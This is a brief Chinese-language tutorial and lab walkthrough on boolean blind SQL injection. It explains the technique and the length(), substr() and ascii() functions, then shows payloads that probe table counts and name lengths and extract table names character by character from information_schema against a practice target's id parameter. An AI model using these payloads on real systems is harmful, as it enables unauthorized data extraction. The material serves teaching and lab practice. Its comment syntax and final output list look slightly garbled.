什么是盲注?
所谓盲注,就是在服务器没有错误回显的时候完成注入攻击
什么是布尔盲注?
布尔,这个词很明显,他会根据我们输入的注入信息,返回True和False,没有其他的任何报错信息
实现布尔盲注需要利用一下几个函数
length() 返回字符串长度
substr() 截取字符串
ascii() 返回字符的ascii码
靶场实战:
我们发现这个靶场为get传参,参数为id = 1
首先我们判断是否存在注入
我们把传参改为id = 2 - 1
发现数据返回没有问题,存在sql注入
既然存在sql注入(已知为布尔盲注,在此不去验证),我们就应该去尝试获取表名
首先,我们应该确定当前数据库中有几个表,每个表名长度是多少(因为是盲注,所以需要获取长度,避免拿名的时候有遗漏)
id = 1 and length((select table_name from information_schema.tables where table_schema = database() limit 1,1)) > 4 – a
将参数修改为此语句,我们发现当前数据库中有3个表,长度分别为6,4,4
获取表名
id = 1 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) =108 – a
拿到表名的ascii码
108,111,102,108,9